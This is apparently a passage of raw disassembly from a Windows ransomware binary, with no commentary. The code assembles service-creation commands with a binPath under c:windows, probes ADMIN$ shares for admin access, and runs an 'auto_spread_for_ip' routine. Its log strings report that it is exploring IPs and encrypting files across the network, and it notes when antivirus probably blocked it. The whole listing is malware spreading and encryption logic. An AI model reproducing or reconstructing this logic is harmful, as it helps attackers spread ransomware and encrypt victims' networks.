jne 0x14003aba2
test byte [rsp + 0x100], 1
je 0x140039d31
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
movzx edi, byte [0x140288308]
mov eax, edi
and al, 1
je 0x140039d47
mov rdi, qword [0x140288310]
jmp 0x140039d4a
shr rdi, 1
lea rbx, [rdi + 0x18]
cmp rbx, r15
ja 0x14003c969
cmp rbx, 0xa
ja 0x140039d75
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bl, bl
mov byte [rsp + 0x60], bl
xor esi, esi
jmp 0x140039dba
mov r13, rbx
or r13, 7
inc r13
js 0x14003c9ab
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
movzx eax, byte [0x140288308]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0x62]
cmove rsi, rcx
lea rdx, [0x14028830a]
test al, al
je 0x140039dd8
mov rdx, qword [0x140288318]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmmword [rsi + rdi*2], xmm10
movups xmmword [rsi + rdi*2 + 0x10], xmm11
movups xmmword [rsi + rdi*2 + 0x20], xmm12
mov word [rsi + rdi*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rdi, [rsp + 0x62]
je 0x140039e0d
mov rdi, qword [rsp + 0x70]
mov byte [rsp + 0x260], 4
mov dword [rsp + 0x262], 0x5c005c
mov word [rsp + 0x266], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
je 0x140039e46
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x140039e4c
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x260]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x2a0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x290], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x290]
lea rdx, str._create
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x2c0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x2b0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x2b0]
lea rdx, str.defser
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x150], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x140], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x140]
lea rdx, str._binPath__c:windows_
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x140288548]
test r8b, 1
je 0x140039f43
mov rdx, qword [0x140288558]
mov r8, qword [0x140288550]
jmp 0x140039f4d
shr r8, 1
lea rdx, [0x14028854a]
lea rcx, [rsp + 0x120]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x100], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x100]
lea rdx, str.__start_auto_type_own
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x140039fd0
mov rdx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rdi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0xa0], 1
jne 0x14003a094
test byte [rsp + 0x100], 1
jne 0x14003a0af
test byte [rsp + 0x120], 1
jne 0x14003a0ca
test byte [rsp + 0x140], 1
jne 0x14003a0e5
test byte [rsp + 0x2b0], 1
jne 0x14003a100
test byte [rsp + 0x290], 1
jne 0x14003a11b
test byte [rsp + 0x260], 1
jne 0x14003a136
test byte [rsp + 0x60], 1
je 0x14003a06c
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.DLL_Sleep]
movzx edi, byte [0x140288308]
mov eax, edi
and al, 1
je 0x14003a153
mov rdi, qword [0x140288310]
jmp 0x14003a156
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14003a015
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x14003a023
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x140], 1
je 0x14003a031
mov rcx, qword [rsp + 0x150]
call fcn.14006fbd0
test byte [rsp + 0x2b0], 1
je 0x14003a03f
mov rcx, qword [rsp + 0x2c0]
call fcn.14006fbd0
test byte [rsp + 0x290], 1
je 0x14003a04d
mov rcx, qword [rsp + 0x2a0]
call fcn.14006fbd0
test byte [rsp + 0x260], 1
je 0x14003a05b
mov rcx, qword [rsp + 0x270]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
jne 0x14003a062
jmp 0x14003a06c
shr rdi, 1
lea rbx, [rdi + 0x18]
cmp rbx, r15
ja 0x14003c955
cmp rbx, 0xa
ja 0x14003a181
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bl, bl
mov byte [rsp + 0x60], bl
xor esi, esi
jmp 0x14003a1c6
mov r13, rbx
or r13, 7
inc r13
js 0x14003c9b0
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
movzx eax, byte [0x140288308]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0x62]
cmove rsi, rcx
lea rdx, [0x14028830a]
test al, al
je 0x14003a1e4
mov rdx, qword [0x140288318]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmmword [rsi + rdi*2], xmm10
movups xmmword [rsi + rdi*2 + 0x10], xmm11
movups xmmword [rsi + rdi*2 + 0x20], xmm12
mov word [rsi + rdi*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rsi, [rsp + 0x62]
je 0x14003a219
mov rsi, qword [rsp + 0x70]
mov byte [rsp + 0x140], 4
mov dword [rsp + 0x142], 0x5c005c
mov word [rsp + 0x146], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
je 0x14003a252
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x14003a258
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x140]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x120]
lea rdx, str._start
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x100], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x100]
lea rdx, str.defser
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x14003a313
mov rdx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0xa0], 1
jne 0x14003a396
test byte [rsp + 0x100], 1
jne 0x14003a3ad
test byte [rsp + 0x120], 1
jne 0x14003a3c4
test byte [rsp + 0x140], 1
jne 0x14003a3db
test byte [rsp + 0x60], 1
je 0x14003a375
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
movzx edi, byte [0x140288308]
mov eax, edi
and al, 1
je 0x14003a3f5
mov rdi, qword [0x140288310]
jmp 0x14003a3f8
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14003a350
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x14003a35a
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x140], 1
je 0x14003a364
mov rcx, qword [rsp + 0x150]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
jne 0x14003a36b
jmp 0x14003a375
shr rdi, 1
lea rbx, [rdi + 0x18]
cmp rbx, r15
ja 0x14003c95f
cmp rbx, 0xa
ja 0x14003a423
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x70], 0
add bl, bl
mov byte [rsp + 0x60], bl
xor esi, esi
jmp 0x14003a468
mov r13, rbx
or r13, 7
inc r13
js 0x14003c9a6
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
movzx eax, byte [0x140288308]
and al, 1
mov ebx, r13d
mov r13, qword [rsp + 0x118]
test bl, 1
lea rcx, [rsp + 0x62]
cmove rsi, rcx
lea rdx, [0x14028830a]
test al, al
je 0x14003a486
mov rdx, qword [0x140288318]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmmword [rsi + rdi*2], xmm10
movups xmmword [rsi + rdi*2 + 0x10], xmm11
movups xmmword [rsi + rdi*2 + 0x20], xmm12
mov word [rsi + rdi*2 + 0x30], 0
test byte [rsp + 0x60], 1
lea rsi, [rsp + 0x62]
je 0x14003a4bb
mov rsi, qword [rsp + 0x70]
mov byte [rsp + 0x140], 4
mov dword [rsp + 0x142], 0x5c005c
mov word [rsp + 0x146], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
je 0x14003a4f4
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x14003a4fa
shr r8, 1
mov rdx, rbp
lea rcx, [rsp + 0x140]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x130], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x120], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x120]
lea rdx, str._start
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x100], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x100]
lea rdx, str.defser
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
lea rdx, [rsp + 0xa2]
je 0x14003a5b5
mov rdx, qword [rsp + 0xb0]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0xa0], 1
jne 0x14003a63a
test byte [rsp + 0x100], 1
jne 0x14003a651
test byte [rsp + 0x120], 1
jne 0x14003a668
test byte [rsp + 0x140], 1
jne 0x14003a67f
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14003a5f2
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x120], 1
je 0x14003a5fc
mov rcx, qword [rsp + 0x130]
call fcn.14006fbd0
test byte [rsp + 0x140], 1
je 0x14003a606
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x140039d1a
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
jne 0x140039d24
jmp 0x140039d31
mov rcx, rdi
lea rdx, str.auto_spread_for_ip
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rdi
lea rdx, str.failed_because_of_write_error_or_excution_error__probably_antivirus_
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x60], 1
lea rcx, [rsp + 0x62]
je 0x14003ae94
mov rcx, qword [rsp + 0x70]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x60], 1
je 0x14003aeac
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x14003aec3
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
mov sil, 1
test byte [rsp + 0xe0], 1
je 0x14003aedd
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
test sil, sil
je 0x14003c8a6
mov rax, qword [r13]
cmp byte [rax], 0
jne 0x14003c777
test byte [rsp + 0x80], 1
je 0x14003af0a
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
lea rdi, str.ADMIN_
test byte [rsp + 0xc0], 1
je 0x14003af30
mov rcx, qword [rsp + 0xd0]
call fcn.14006fbd0
nop dword [rax + rax]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14003af50
nop word [rax + rax]
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14003af40
jmp 0x140038950
mov rax, qword [r12 + 0x10]
cmp qword [rax], r12
mov r12, rax
jne 0x14003af50
jmp 0x140038950
mov rax, qword [r13 + 0x28]
cmp byte [rax], 0
jne 0x14003b022
cmp byte [0x1402884f0], 0
je 0x14003b022
mov rax, qword [r13 + 0x30]
cmp dword [rax], 0
je 0x14003b022
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
nop dword [rax]
mov rax, qword [r13 + 0x38]
cmp byte [rax], 0
jne 0x14003b022
mov ecx, 0x3e8
call rsi
jmp 0x14003b010
mov rax, qword [rsp + 0x188]
mov r15, qword [rax]
add rax, 8
mov qword [rsp + 0x188], rax
cmp r15, rax
je 0x14003b741
mov rax, qword [rsp + 0xb8]
add rax, 2
mov qword [rsp + 0x1b0], rax
mov ebx, 0xffffffff
xor eax, eax
mov qword [rsp + 0x170], rax
xorps xmm6, xmm6
lea rdi, [rsp + 0xc0]
lea r12, [rsp + 0x158]
jmp 0x14003b091
mov r15, rax
cmp rax, qword [rsp + 0x188]
je 0x14003b74e
mov rax, qword [r15 + 0x38]
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
lea rsi, [rsp + 0xe0]
mov rcx, rsi
lea rdx, [0x1401fb2d0]
mov r8, qword [rsp + 0xb8]
call fcn.140013d30
mov rcx, rsi
lea rdx, [0x1401f55f2]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [r15 + 0x20]
lea rsi, [r15 + 0x22]
test r8b, 1
je 0x14003b110
mov rdx, qword [r15 + 0x30]
mov r8, qword [r15 + 0x28]
jmp 0x14003b116
shr r8, 1
mov rdx, rsi
lea rcx, [rsp + 0x80]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xd0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x14003b15e
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xe0], 1
je 0x14003b175
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
lea rcx, [rsp + 0x360]
mov rdx, rdi
call fcn.1400721d0
lea rbp, [r15 + 0x38]
lea rcx, [rsp + 0x360]
mov rdx, rbp
lea r8, [rsp + 0x60]
call fcn.140059fa0
test byte [rsp + 0x360], 1
je 0x14003b1b5
mov rcx, qword [rsp + 0x370]
call fcn.14006fbd0
lea rcx, [rsp + 0x348]
mov rdx, rdi
call fcn.1400721d0
lea rcx, [rsp + 0x348]
call fcn.140014020
mov r14d, eax
test byte [rsp + 0x348], 1
je 0x14003b1ec
mov rcx, qword [rsp + 0x358]
call fcn.14006fbd0
test r14b, r14b
je 0x14003b6f4
test byte [r15 + 0x20], 1
je 0x14003b200
mov rsi, qword [r15 + 0x30]
mov rcx, rsi
lea rdx, str.ADMIN_
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
je 0x14003b25a
cmp ebx, 0xffffffff
jne 0x14003b52f
mov rcx, qword [r13 + 0x40]
call fcn.140070b30
mov r13, qword [rsp + 0x118]
mov rax, qword [r13 + 0x48]
mov ebx, dword [rax]
lea ecx, [rbx + 1]
mov dword [rax], ecx
mov rsi, qword [r13 + 0x50]
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x14003b3a2
mov dword [rdx], ebx
add rdx, 4
mov qword [rsi + 8], rdx
jmp 0x14003b526
mov rbp, rbx
mov rcx, qword [rsp + 0xb8]
movzx ebx, byte [rcx]
mov eax, ebx
and al, 1
je 0x14003b274
mov rbx, qword [rcx + 8]
jmp 0x14003b277
shr rbx, 1
lea r14, [rbx + 0x11]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14003c8d8
cmp r14, 0xa
ja 0x14003b2b7
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
add r14b, r14b
mov byte [rsp + 0x80], r14b
xor esi, esi
jmp 0x14003b309
mov r13, r14
or r13, 7
inc r13
js 0x14003c8e5
mov rcx, r13
add rcx, r13
call fcn.14006fb50
mov rsi, rax
or r13, 1
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0xb8]
movzx eax, byte [rax]
and al, 1
mov r14d, r13d
mov r13, qword [rsp + 0x118]
test r14b, 1
lea rcx, [rsp + 0x82]
cmove rsi, rcx
mov rdx, qword [rsp + 0x1b0]
test al, al
je 0x14003b331
mov rax, qword [rsp + 0xb8]
mov rdx, qword [rax + 0x10]
lea r8, [rbx + rbx]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str._has_admin_access]
movups xmmword [rsi + rbx*2], xmm0
movdqu xmm0, xmmword [0x1401fba06]
movdqu xmmword [rsi + rbx*2 + 0x10], xmm0
mov dword [rsi + rbx*2 + 0x20], 0x73
test byte [rsp + 0x80], 1
lea rcx, [rsp + 0x82]
je 0x14003b378
mov rcx, qword [rsp + 0x90]
mov dl, 1
call fcn.140012160
mov rbx, rbp
test byte [rsp + 0x80], 1
je 0x14003b6f4
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
jmp 0x14003b6f4
mov qword [rsp + 0xf8], rbx
mov rcx, qword [rsi]
mov r14, rdx
sub r14, rcx
mov r13, r14
sar r13, 2
lea rax, [r13 + 1]
movabs r9, 0x3fffffffffffffff
cmp rax, r9
ja 0x14003c8f4
movabs r8, 0x7fffffffffffffef
add r8, 0xd
mov rbx, r14
shr rbx, 1
cmp rbx, rax
cmovbe rbx, rax
cmp r14, r8
cmovae rbx, r9
test rbx, rbx
je 0x14003b417
cmp rbx, r9
ja 0x14003c92f
lea rcx, [rbx*4]
call fcn.14006fb50
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
jmp 0x14003b419
xor eax, eax
lea r8, [rax + r13*4]
mov r9, qword [rsp + 0xf8]
mov dword [rax + r13*4], r9d
mov r10, rdx
sub r10, rcx
je 0x14003b4f5
add r10, 0xfffffffffffffffc
cmp r10, 0x4c
jae 0x14003b447
mov r9, rdx
jmp 0x14003b4e0
add r14, rax
mov r9, rdx
sub r9, r14
cmp r9, 0x20
jae 0x14003b45e
mov r9, rdx
jmp 0x14003b4e0
shr r10, 2
inc r10
mov r12, r10
and r12, 0xfffffffffffffff8
lea r11, [r12*4]
sub r8, r11
mov r9, rdx
sub r9, r11
lea r14, [rax + r13*4]
add r14, 0xfffffffffffffff0
mov qword [rsp + 0x2c8], r12
mov r11, r12
neg r11
xor r12d, r12d
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rdx + r12*4 - 0x20]
movdqu xmm1, xmmword [rdx + r12*4 - 0x10]
movdqu xmmword [r14 + r12*4], xmm1
movdqu xmmword [r14 + r12*4 - 0x10], xmm0
add r12, 0xfffffffffffffff8
cmp r11, r12
jne 0x14003b4a0
cmp r10, qword [rsp + 0x2c8]
lea r12, [rsp + 0x158]
je 0x14003b4f5
nop word cs:[rax + rax]
mov edx, dword [r9 - 4]
add r9, 0xfffffffffffffffc
mov dword [r8 - 4], edx
add r8, 0xfffffffffffffffc
cmp r9, rcx
jne 0x14003b4e0
lea rdx, [rax + rbx*4]
lea rax, [rax + r13*4]
add rax, 4
mov qword [rsi], r8
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdx
test rcx, rcx
mov r13, qword [rsp + 0x118]
mov rbx, qword [rsp + 0xf8]
je 0x14003b526
call fcn.14006fbd0
mov rcx, qword [r13 + 0x40]
call fcn.140070b60
mov rax, qword [r13 + 0x48]
mov rcx, qword [r13 + 0x58]
mov edx, dword [rax]
mov eax, dword [rcx]
sub edx, eax
mov eax, dword [0x140227114]
imul edx, dword [0x140227120]
lea ecx, [rax + 1]
imul edx, ecx
shl edx, 6
cmp edx, 0x1c2000
jl 0x14003b595
cmp eax, 5
jl 0x14003b56a
mov dword [0x140227114], 4
mov rax, qword [r13 + 0x48]
mov rcx, qword [r13 + 0x58]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub eax, ecx
mov ecx, dword [0x140227114]
inc ecx
imul ecx, eax
shl ecx, 6
mov eax, 0x1c2000
xor edx, edx
idiv ecx
mov dword [0x140227120], eax
test byte [rsp + 0x170], 1
lea rsi, [rsp + 0x3a8]
jne 0x14003b6ae
mov ecx, 0x30
call fcn.14006fb50
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xe0], 0x19
mov qword [rsp + 0xe8], 0x16
movups xmm0, xmmword [0x1401fba36]
movups xmmword [rax + 0x1c], xmm0
movups xmm0, xmmword [0x1401fba2a]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.started_exploring_ip_:]
movdqu xmmword [rax], xmm0
mov word [rax + 0x2c], 0
mov rax, qword [rsp + 0xb8]
movzx r8d, byte [rax]
test r8b, 1
lea rcx, [rsp + 0xe0]
je 0x14003b621
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 8]
jmp 0x14003b62c
shr r8, 1
mov rdx, qword [rsp + 0x1b0]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x90], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x80], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
lea rcx, [rsp + 0x82]
je 0x14003b66f
mov rcx, qword [rsp + 0x90]
mov dl, 1
call fcn.140012160
test byte [rsp + 0x80], 1
je 0x14003b68d
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xe0], 1
je 0x14003b6a4
mov rcx, qword [rsp + 0xf0]
call fcn.14006fbd0
mov al, 1
mov qword [rsp + 0x170], rax
mov rcx, rsi
mov rdx, rdi
call fcn.1400721d0
mov qword [rsp + 0x20], rbp
mov ecx, ebx
mov rdx, rsi
lea r8, [rsp + 0x158]
lea r9, [rsp + 0x60]
call fcn.1400254a0
test byte [rsp + 0x3a8], 1
je 0x14003b6ec
mov rcx, qword [rsp + 0x3b8]
call fcn.14006fbd0
mov r13, qword [rsp + 0x118]
test byte [rsp + 0xc0], 1
je 0x14003b70b
mov rcx, qword [rsp + 0xd0]
call fcn.14006fbd0
mov rcx, qword [r15 + 8]
test rcx, rcx
je 0x14003b730
nop word cs:[rax + rax]
mov rax, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x14003b720
jmp 0x14003b080
mov rax, qword [r15 + 0x10]
cmp qword [rax], r15
mov r15, rax
jne 0x14003b730
jmp 0x14003b080
mov ebx, 0xffffffff
lea r12, [rsp + 0x158]
mov rax, qword [r13 + 0x28]
cmp byte [rax], 0
mov r15, qword [rsp + 0xb8]
je 0x14003b782
cmp byte [0x1402884f0], 0
je 0x14003b782
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
nop
mov rax, qword [r13 + 0x38]
cmp byte [rax], 0
jne 0x14003b782
mov ecx, 0x3e8
call rsi
jmp 0x14003b770
mov qword [rsp + 0xf8], rbx
mov rbx, qword [sym.imp.KERNEL32.DLL_Sleep]
nop word cs:[rax + rax]
cmp qword [0x140288568], 0
je 0x14003b7c7
mov rax, qword [r13 + 0x60]
cmp byte [rax], 0
jne 0x14003b7c7
mov ecx, 0x3e8
call rbx
jmp 0x14003b7a0
mov ecx, 0x32
call rbx
mov rax, qword [r13 + 0x68]
movzx eax, byte [rax]
test al, 1
je 0x14003b7c0
cmp dword [rsp + 0xf8], 0xffffffff
je 0x14003c63e
cmp byte [0x140227100], 0
je 0x14003b814
lea rdx, str.started_Encrypting_largesvlarges_on_network
lea rcx, [rsp + 0xc0]
mov r8, r15
call fcn.140013d30
test byte [rsp + 0xc0], 1
je 0x14003b83f
mov rcx, qword [rsp + 0xd0]
jmp 0x14003b847
lea rdx, str.started_Encrypting_smallsnormalls_on_network
lea rcx, [rsp + 0xc0]
mov r8, r15
call fcn.140013d30
test byte [rsp + 0xc0], 1
je 0x14003b850
mov rcx, qword [rsp + 0xd0]
jmp 0x14003b858
lea rcx, [rsp + 0xc2]
mov dl, 1
call fcn.140012160
jmp 0x14003b85f
lea rcx, [rsp + 0xc2]
mov dl, 1
call fcn.140012160
test byte [rsp + 0xc0], 1
je 0x14003b876
mov rcx, qword [rsp + 0xd0]
call fcn.14006fbd0
call fcn.14003d410
mov eax, dword [0x140285210]
cmp dword [rsp + 0xf8], eax
jle 0x14003b910
xor ebp, ebp
lea r14, [rsp + 0xc2]
lea rsi, str.stock_at_after_DN_check_at
lea rdi, [rsp + 0xc0]
jmp 0x14003b8c1
mov eax, dword [0x140285210]
inc ebp
cmp dword [rsp + 0xf8], eax
jle 0x14003b910
mov ecx, 0x3e8
call rbx
cmp ebp, 0xa
jb 0x14003b8b0
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.140013d30
test byte [rsp + 0xc0], 1
mov rcx, r14
je 0x14003b8f0
mov rcx, qword [rsp + 0xd0]
mov dl, 1
call fcn.140012160
test byte [rsp + 0xc0], 1
je 0x14003b8b0
mov rcx, qword [rsp + 0xd0]
call fcn.14006fbd0
jmp 0x14003b8b0
lea rcx, [rsp + 0xc0]
mov rdx, r15
call fcn.1400721d0
cmp byte [0x140227100], 0
mov rbx, qword [rsp + 0xf8]
je 0x14003ba30
movsxd rax, ebx
mov rcx, qword [0x140288260]
lea r15, [rax + rax*2]
mov rcx, qword [rcx + r15*8]
add rcx, 0x48
mov byte [rsp + 0x248], 0xc
movabs rsi, 0x6700720061006c
mov qword [rsp + 0x24a], rsi
mov dword [rsp + 0x252], 0x730065
mov word [rsp + 0x256], 0
mov r8d, dword [0x140227118]
movsxd rax, dword [0x140227120]
lea rdi, [0x1402897e0]
mov qword [rsp + 0x58], rdi
mov rdx, rbx
lea rbx, [0x14028843c]
mov qword [rsp + 0x50], rbx
lea r14, [0x140288438]
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], edx
mov qword [rsp + 0x40], 0xffffffffffffffff
mov qword [rsp + 0x38], 5
mov byte [rsp + 0x28], 3
lea rdx, [rsp + 0x248]
mov r9d, 1
call fcn.14001ba80
test byte [rsp + 0x248], 1
je 0x14003b9f9
mov rcx, qword [rsp + 0x258]
call fcn.14006fbd0
lea rdx, str.finished_encrypting_vlrges_on
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0xc0]
call fcn.140013d30
test byte [rsp + 0x80], 1
je 0x14003bbb3
mov rcx, qword [rsp + 0x90]
jmp 0x14003bbbb
mov rdi, qword [rsp + 0x160]
jmp 0x14003ba44
mov rdi, qword [rdi + 8]
cmp rdi, r12
je 0x14003ba7a
mov rcx, qword [rdi + 0x10]
call fcn.140098ff0
test al, al
jne 0x14003ba5f
mov rcx, qword [rdi + 0x10]
call fcn.140074b60
mov rsi, qword [rdi + 0x10]
test rsi, rsi
je 0x14003ba40
mov rcx, rsi
call fcn.140074b40
mov rcx, rsi
call fcn.14006fbd0
jmp 0x14003ba40
cmp qword [rsp + 0x168], 0
je 0x14003bad1
mov rax, qword [rsp + 0x158]
